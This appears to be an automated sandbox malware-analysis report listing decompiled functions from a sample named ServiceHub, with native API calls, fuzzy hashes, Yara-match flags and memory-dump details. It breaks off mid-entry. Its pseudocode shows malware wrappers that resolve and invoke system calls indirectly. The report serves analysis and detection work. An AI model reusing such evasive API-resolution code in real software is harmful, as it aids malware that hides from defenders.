                                          • Snapshot File: hcaresult_17_2_400000_ServiceHub.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: CreateFile
                                          • String ID:
                                          • API String ID: 823142352-0
                                          • Opcode ID: 8c86fc5c608f6d34ab5daaaa7dfbbc52b25141e27b230779e619c3c2e1c780cd
                                          • Instruction ID: 04f343b73141603cf08cb3d9fb5846b05a85e8315961f8516232493bf294531c
                                          • Opcode Fuzzy Hash: 8c86fc5c608f6d34ab5daaaa7dfbbc52b25141e27b230779e619c3c2e1c780cd
                                          • Instruction Fuzzy Hash: D6F0BDB2204208ABCB08CF89DC85EEB77EDAF8C754F058208BA0D97251C630E851CBA4
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 00421273 Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 192 421273-4212bc call 421e33 NtReadFile
                                          C-Code - Quality: 37%
                                          			E00421273(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				intOrPtr* _t27;

				_t3 = _a4 + 0xa78; // 0xc7e
				_t27 = _t3;
				E00421E33( *((intOrPtr*)(_a4 + 8)), _t13, _t27,  *((intOrPtr*)(_a4 + 8)), 0, 0x2a);
				_t18 =  *((intOrPtr*)( *_t27))(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40); // executed
				return _t18;
			}





                                          0x00421282
                                          0x00421282
                                          0x0042128a
                                          0x004212b8
                                          0x004212bc

                                          APIs
                                          • NtReadFile.NTDLL(0041C713,00417AF1,FFFFFFFF,0041C203,00000206,?,0041C713,00000206,0041C203,FFFFFFFF,00417AF1,0041C713,00000206,00000000), ref: 004212B8
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_400000_ServiceHub.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: FileRead
                                          • String ID:
                                          • API String ID: 2738559852-0
                                          • Opcode ID: 2cb2299a0f74889ab0f3c4c3c13954ab8e94683b8611fc03de993ca743ed5270
                                          • Instruction ID: ad099e5df72bdbabdd8b9e1782dd8413e92de0198d2d17932090259da740787f
                                          • Opcode Fuzzy Hash: 2cb2299a0f74889ab0f3c4c3c13954ab8e94683b8611fc03de993ca743ed5270
                                          • Instruction Fuzzy Hash: 4FF0F4B2200208ABCB04DF89DC84EEB77ADAF8C714F018208BE0D97251C630E811CBA0
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 004213A3 Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 195 4213a3-4213e0 call 421e33 NtAllocateVirtualMemory
                                          C-Code - Quality: 100%
                                          			E004213A3(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;

				E00421E33( *((intOrPtr*)(_a4 + 8)), _a4, _t10 + 0xa90,  *((intOrPtr*)(_a4 + 8)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}




                                          0x004213ba
                                          0x004213dc
                                          0x004213e0

                                          APIs
                                          • NtAllocateVirtualMemory.NTDLL(00010000,?,?,00000000,00000004,00001000,?), ref: 004213DC
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_400000_ServiceHub.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: AllocateMemoryVirtual
                                          • String ID:
                                          • API String ID: 2167126740-0
                                          • Opcode ID: 1ad83c96b9a69f9b0db886d988b910044de66a5860fc57c9728168c0944e72ad
                                          • Instruction ID: 9224bc3cdd78b62b6593b851e3da3bf614eff376ab6b8d48787ed539d30a24f6
                                          • Opcode Fuzzy Hash: 1ad83c96b9a69f9b0db886d988b910044de66a5860fc57c9728168c0944e72ad
                                          • Instruction Fuzzy Hash: A1F01EB6200218AFCB14DF89DC81EEBB7ADAF88754F018109BE0D97251C630F821CBA4
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 004212F3 Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 286 4212f3-42131c call 421e33 NtClose
                                          C-Code - Quality: 100%
                                          			E004212F3(intOrPtr _a4, void* _a8) {
				long _t8;

				_t3 = _a4 + 0xa80; // 0xa85
				E00421E33( *((intOrPtr*)(_a4 + 8)), _t5, _t3,  *((intOrPtr*)(_a4 + 8)), 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}




                                          0x00421302
                                          0x0042130a
                                          0x00421318
                                          0x0042131c

                                          APIs
                                          • NtClose.NTDLL(0041C6F1,00000206,?,0041C6F1,00000005,FFFFFFFF), ref: 00421318
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_400000_ServiceHub.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: Close
                                          • String ID:
                                          • API String ID: 3535843008-0
                                          • Opcode ID: 82354b4b50432139f34fdfb63daff9291c99fe75ed51ee290b335094251b13cf
                                          • Instruction ID: 7d4094b9274cbbbda044fec4df10de85c01cb181dc6fb5af318ccce07b58d9e1
                                          • Opcode Fuzzy Hash: 82354b4b50432139f34fdfb63daff9291c99fe75ed51ee290b335094251b13cf
                                          • Instruction Fuzzy Hash: FDD01776600214ABDA10EB99DC89FE7BBACEF88660F558459BA0D5B252C570FA0087E0
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9910 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: d47e8638e0902120904fc81d46c84100c243e05877568210ece81b2601235c51
                                          • Instruction ID: 798086a55101a5afe6173259e636c96776f84a1ef00e9715bcf8244c31317482
                                          • Opcode Fuzzy Hash: d47e8638e0902120904fc81d46c84100c243e05877568210ece81b2601235c51
                                          • Instruction Fuzzy Hash: 659002B120100402D544719955047560005A7D0341F52C019A6055554EC7998DD576A5
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9950 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: f4d73973e1c5efc55a00c0f1825f7bea37700f6db6f5d11136037356ff3e68a6
                                          • Instruction ID: a5c5ea360480523ac2a1c26fc4f0a0ff91fe702574935606b56a425ce1fdbaae
                                          • Opcode Fuzzy Hash: f4d73973e1c5efc55a00c0f1825f7bea37700f6db6f5d11136037356ff3e68a6
                                          • Instruction Fuzzy Hash: A99002A120140403D544659959047170005A7D0342F52C019A3055555ECB698C517175
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E99A0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 26a1242b15adfb0f7aab4c7db798e6f44d366afdf122dc2e9f6112cb61c33115
                                          • Instruction ID: af0e0eaf37135859ca13882813702886f74e16f7810669393614a328f7d169cd
                                          • Opcode Fuzzy Hash: 26a1242b15adfb0f7aab4c7db798e6f44d366afdf122dc2e9f6112cb61c33115
                                          • Instruction Fuzzy Hash: AE9002A134100442D50461995514B160005E7E1341F52C01DE2055554DC759CC527166
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9840 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 1937444d8f9655579d28cadd125692eac081287a225e61718d8e96283e60ad21
                                          • Instruction ID: e74018901193069668091e9c523d34ff91094fd346891dce8853abc3d68b4bbf
                                          • Opcode Fuzzy Hash: 1937444d8f9655579d28cadd125692eac081287a225e61718d8e96283e60ad21
                                          • Instruction Fuzzy Hash: 22900261242041525949B19955046174006B7E0281792C01AA2405950CC6669856F661
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011EB040 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: ce458d1113a9e05aff3717f3ce26d60d443fbd4bee7b13bbd9076a38495a8dc1
                                          • Instruction ID: 355dbb2b2a49369935059b05de28e3f754037577f5ae994f5a2f5a4c46c2bd02
                                          • Opcode Fuzzy Hash: ce458d1113a9e05aff3717f3ce26d60d443fbd4bee7b13bbd9076a38495a8dc1
                                          • Instruction Fuzzy Hash: 2E9002A1601140434944B19959045165015B7E1341392C129A1445560CC7A88855B2A5
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9860 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 5980c275832d3c00e87a393280dfe376c6ca97f5ce7ecd9489aed1350a1c0ae2
                                          • Instruction ID: 5bb908ce163817147c15df8036b412310d2448ca6fb5e0908cdb1eaf49592be8
                                          • Opcode Fuzzy Hash: 5980c275832d3c00e87a393280dfe376c6ca97f5ce7ecd9489aed1350a1c0ae2
                                          • Instruction Fuzzy Hash: EC90027120100413D515619956047170009A7D0281F92C41AA1415558DD7968952B161
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E98F0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 008eaad4a05af4a3efe413f13338104148752881f47dfc4fc4d15a428699d926
                                          • Instruction ID: e6e3c1defd8945aa2c5d19b2c7797c0c847393581b948e94bcbff99a0b33730e
                                          • Opcode Fuzzy Hash: 008eaad4a05af4a3efe413f13338104148752881f47dfc4fc4d15a428699d926
                                          • Instruction Fuzzy Hash: 7190026160100502D50571995504726000AA7D0281F92C02AA2015555ECB658992B171
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011EA3B0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 992915e321876cb079d44c123100b7a6db388ecf6d790dc53ec97e257d76ce71
                                          • Instruction ID: 22662eb8db1ddee48defd819767606c698e811ad1e9a8dbce67a2601df7f11cf
                                          • Opcode Fuzzy Hash: 992915e321876cb079d44c123100b7a6db388ecf6d790dc53ec97e257d76ce71
                                          • Instruction Fuzzy Hash: 3B90027120144002D5447199954471B5005B7E0341F52C419E1416554CC7558856B261
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9A20 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 4b65996f7212df3d83238536fc143c68b35bf248727d0ea8d7f0ea6fadd51adc
                                          • Instruction ID: 23f79f3211d5a1e0daf9dfd2669e1cc2eccd0c2504b9f77edd02de3be2d125d1
                                          • Opcode Fuzzy Hash: 4b65996f7212df3d83238536fc143c68b35bf248727d0ea8d7f0ea6fadd51adc
                                          • Instruction Fuzzy Hash: 0590026160100042454471A99944A164005BBE1251752C129A1989550DC699886576A5
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9A50 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: aea6e4a01fdaf25184dd2d8bdc15b78a73a64b7f86a8ec6d7a251ffe27fa9362
                                          • Instruction ID: 29c7485115b505e2b8f53be2a104aa47c732c160e69ab0ea65e935107f075601
                                          • Opcode Fuzzy Hash: aea6e4a01fdaf25184dd2d8bdc15b78a73a64b7f86a8ec6d7a251ffe27fa9362
                                          • Instruction Fuzzy Hash: 0C90026121180042D60465A95D14B170005A7D0343F52C11DA1145554CCA5588617561
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011EAD30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 518dcf478e0a06d6a7dbb34c2bb1345e7bc357566aee53749d47fffd98e2f868
                                          • Instruction ID: 0b57fdb5038d3db031bf53f98e88dc069fd967adb070997e2dfb833f73cbb432
                                          • Opcode Fuzzy Hash: 518dcf478e0a06d6a7dbb34c2bb1345e7bc357566aee53749d47fffd98e2f868
                                          • Instruction Fuzzy Hash: E1900271A05000129544719959147564006B7E0781B56C019A1505554CCA948A5573E1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9540 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: e126360821fdb4f1667393a542c14a77a8695d3b4edc90ddbccb6eaef3427b9f
                                          • Instruction ID: d53bffc5936e3187ccd39c8ca4215906cd44286fc62d0af215959a7dd89a28ce
                                          • Opcode Fuzzy Hash: e126360821fdb4f1667393a542c14a77a8695d3b4edc90ddbccb6eaef3427b9f
                                          • Instruction Fuzzy Hash: ED900265211000030509A59917046170046A7D5391352C029F2006550CD76188617161
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E95D0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 4dfebdb99333321cbae83e58afdd20e4d2b91715cc4e6583de1f3a455bdf9279
                                          • Instruction ID: efed5c5a6efdd01538430da772f547500e7c09f854eeac68e100e1d002eb9394
                                          • Opcode Fuzzy Hash: 4dfebdb99333321cbae83e58afdd20e4d2b91715cc4e6583de1f3a455bdf9279
                                          • Instruction Fuzzy Hash: 4A9002A120200003450971995514726400AA7E0241B52C029E2005590DC66588917165
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9780 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: d9650a8bebe6426893a9a63201a86af531a16954cb1e951e16cd0cea33b56e0a
                                          • Instruction ID: 23357f76699ad3fd17c908f74b514193c8b05d44cf4ad5e15cfa7bdadc0f5269
                                          • Opcode Fuzzy Hash: d9650a8bebe6426893a9a63201a86af531a16954cb1e951e16cd0cea33b56e0a
                                          • Instruction Fuzzy Hash: CA90026921300002D5847199650871A0005A7D1242F92D41DA1006558CCA5588697361
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E97A0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: f6137c16fcefca3a900eccbb086cb145d3ac4eebfb9ab0a0ea5a04a8ba47a2ef
                                          • Instruction ID: d6ba8eaf8526d31c4c34a19522f6587bd90590dc46504579b97d0fbfa0166280
                                          • Opcode Fuzzy Hash: f6137c16fcefca3a900eccbb086cb145d3ac4eebfb9ab0a0ea5a04a8ba47a2ef
                                          • Instruction Fuzzy Hash: 4090026130100003D544719965187164005F7E1341F52D019E1405554CDA5588567262
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 260f62976692ed50a346a6537eeaa461499a68c71c25cee20210f2792652e0f2
                                          • Instruction ID: 4136450d3d9ea6603efbf90867917a8ca8be32ce6c97d4c9bb123f7619e6ec52
                                          • Opcode Fuzzy Hash: 260f62976692ed50a346a6537eeaa461499a68c71c25cee20210f2792652e0f2
                                          • Instruction Fuzzy Hash: 1590027131114402D514619995047160005A7D1241F52C419A1815558DC7D588917162
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E9660 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 8b43905c2d58ed1ac14f8fde42cfc43f502012e3650d8ac78a69c50a5ffaf9c0
                                          • Instruction ID: 15186d640d95b128701e49cb0994e8fa333c4499423dfb50147265b7cf031dbf
                                          • Opcode Fuzzy Hash: 8b43905c2d58ed1ac14f8fde42cfc43f502012e3650d8ac78a69c50a5ffaf9c0
                                          • Instruction Fuzzy Hash: 9F90027120100802D5847199550475A0005A7D1341F92C01DA1016654DCB558A5977E1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E96E0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 6111cd6630c452c3c618b859d5d83cea58c6f3cd8fbd7e0cbcbd27f520653863
                                          • Instruction ID: 651190e50d144a3d394c63b28e883041dc81c432b38d7cebf0386ef929408a6c
                                          • Opcode Fuzzy Hash: 6111cd6630c452c3c618b859d5d83cea58c6f3cd8fbd7e0cbcbd27f520653863
                                          • Instruction Fuzzy Hash: CC90027120108802D5146199950475A0005A7D0341F56C419A5415658DC7D588917161
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0040C663 Relevance: 1.6, APIs: 1, Instructions: 62threadwindowCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          C-Code - Quality: 84%
                                          			E0040C663(void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t13;
				int _t15;
				long _t25;
				int _t27;
				void* _t28;
				void* _t32;

				_t32 = __eflags;
				_v68 = 0;
				E00422E33( &_v67, 0, 0x3f);
				E004238E3( &_v68, 3);
				_t19 = _a4;
				_t13 = E0040FF03(_t32, _a4 + 0x14,  &_v68); // executed
				_t15 = E0041C7F3(_a4 + 0x14, _t13, 0, 0, E00404623(0x80e904d4));
				_t27 = _t15;
				if(_t27 != 0) {
					_t25 = _a8;
					_t15 = PostThreadMessageW(_t25, 0x111, 0, 0); // executed
					if(_t15 == 0) {
						return  *_t27(_t25, 0x8003, _t28 + (E0040F5D3(1, 8, _t19 + 0x9c0) & 0x000000ff) - 0x40, _t15);
					}
				}
				return _t15;
			}











                                          0x0040c663
                                          0x0040c674
                                          0x0040c678
                                          0x0040c683
                                          0x0040c688
                                          0x0040c693
                                          0x0040c6ab
                                          0x0040c6b0
                                          0x0040c6b7
                                          0x0040c6b9
                                          0x0040c6c6
                                          0x0040c6ca
                                          0x00000000
                                          0x0040c6ee
                                          0x0040c6ca
                                          0x0040c6f6

                                          APIs
                                          • PostThreadMessageW.USER32(?,00000111,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040C6C6
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_400000_ServiceHub.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: MessagePostThread
                                          • String ID:
                                          • API String ID: 1836367815-0
                                          • Opcode ID: 3acb2dbe1862b59f0cf76b530e78cb010cf6927dc3bccec57dfc41e215608425
                                          • Instruction ID: 1ee9d47eb94d1fc143debd1dea1ee0ee94e3929c30dfcfab474b8247786cc448
                                          • Opcode Fuzzy Hash: 3acb2dbe1862b59f0cf76b530e78cb010cf6927dc3bccec57dfc41e215608425
                                          • Instruction Fuzzy Hash: 0401FE71A4031876E720A695DC43FEF776C9B41B45F040029FF047A1C2D6ECAA0583F9
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 004132C3 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 198 4132c3-4132e7 call 41c7f3 201 4132e9-4132ea 198->201 202 4132eb-4132fc GetUserGeoID 198->202
                                          APIs
                                          • GetUserGeoID.KERNELBASE(00000010), ref: 004132ED
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_400000_ServiceHub.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: User
                                          • String ID:
                                          • API String ID: 765557111-0
                                          • Opcode ID: e5b5f5de15f2c298e2bfb3ad87dfe6ee2d82cbaad43582cafd558788710467ab
                                          • Instruction ID: c6c3136f26e6472f0fdafb45d8e678388d65e94cf28c0516313f829aad80e8c7
                                          • Opcode Fuzzy Hash: e5b5f5de15f2c298e2bfb3ad87dfe6ee2d82cbaad43582cafd558788710467ab
                                          • Instruction Fuzzy Hash: 0CE0C27338030427E620A5A98C86FB6324E6B80B04F488476F908E72C2D5A9E5800064
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 004214D3 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 206 4214d3-421504 call 421e33 RtlFreeHeap
                                          C-Code - Quality: 100%
                                          			E004214D3(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t10;

				_t3 = _a4 + 0xaa4; // 0xaa4
				E00421E33( *((intOrPtr*)(_a4 + 8)), _t7, _t3,  *((intOrPtr*)(_a4 + 8)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}




                                          0x004214e2
                                          0x004214ea
                                          0x00421500
                                          0x00421504

                                          APIs
                                          • RtlFreeHeap.NTDLL(00000060,00000005,00000000,00000000,00000005,00000060,00000000,00000000,?,?,00000000,00000206,00000000), ref: 00421500
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_400000_ServiceHub.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: FreeHeap
                                          • String ID:
                                          • API String ID: 3298025750-0
                                          • Opcode ID: 208a89948661806a7748931571843bd59d5f062cbe15b0d6db404302dfa82e7e
                                          • Instruction ID: 9991c1ed40381b18467c3fcede0b8d91ab620993b5a0c3dfb5f760f2dc58b465
                                          • Opcode Fuzzy Hash: 208a89948661806a7748931571843bd59d5f062cbe15b0d6db404302dfa82e7e
                                          • Instruction Fuzzy Hash: 8DE012B5200218ABCB14EF89DC49EA777ACAF88750F018459BE085B292C670E910CAB1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 00421493 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

